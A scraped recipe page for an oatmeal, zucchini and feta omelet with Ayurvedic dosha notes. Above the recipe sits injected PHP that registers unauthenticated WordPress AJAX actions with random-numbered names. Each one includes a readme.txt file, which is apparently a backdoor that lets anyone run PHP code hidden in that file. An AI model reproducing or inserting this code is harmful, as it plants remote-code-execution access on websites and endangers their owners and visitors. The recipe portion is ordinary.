if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Oatmeal, Zucchini & Feta Omelet - Holistic Healing Resolutions by Asaf Feit
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Print Recipe

Oatmeal, Zucchini & Feta Omelet

Prep Time7 minutes
Cook Time10 minutes
Total Time17 minutes
Course: Breakfast, Dinner
Servings: 1

Ingredients

  • 1-2 free range eggs Vata - - Pitta + Kapha +
  • 1/2 cup instant oatmeal Vata - - Pitta 0 Kapha +
  • 1/4 cup water Vata 0 Pitta - Kapha +
  • Handful of parsley chopped (Vata 0 Pitta 0 Kapha - -)
  • Handful of basil chopped (Vata - Pitta + Kapha - -)
  • 1-2 Tbs. feta cheese grated (Vata - - Pitta + Kapha ++)
  • 1/2 zucchini grated (Vata 0 Pitta - - Kapha 0)
  • 1 Tbs. ghee for frying (Vata - Pitta - - Kapha +)
  • 1 tsp. whole grain Dijon mustard Vata - Pitta ++ Kapha - -
  • 1/4 tsp. cumin Vata - Pitta + Kapha -
  • Salt & pepper to taste

Instructions

  • Beat the eggs and add the rest of the ingredients, except for the ghee.
  • Heat the ghee in a skillet, pour the batter and flatten to a large omelet.
  • Lower the flame and cover.
  • After a few minutes flip and fry the other side for several minutes, until golden.

Notes

Optional additions:
For Pitta: less mustard and more greens.
For Vata & Pitta: you can make a sweet version by using a grated sweet potato, raisins and dates.
For Vata: add grated sweet potato.
For Kapha: add lots of greens and spices like turmeric and oregano.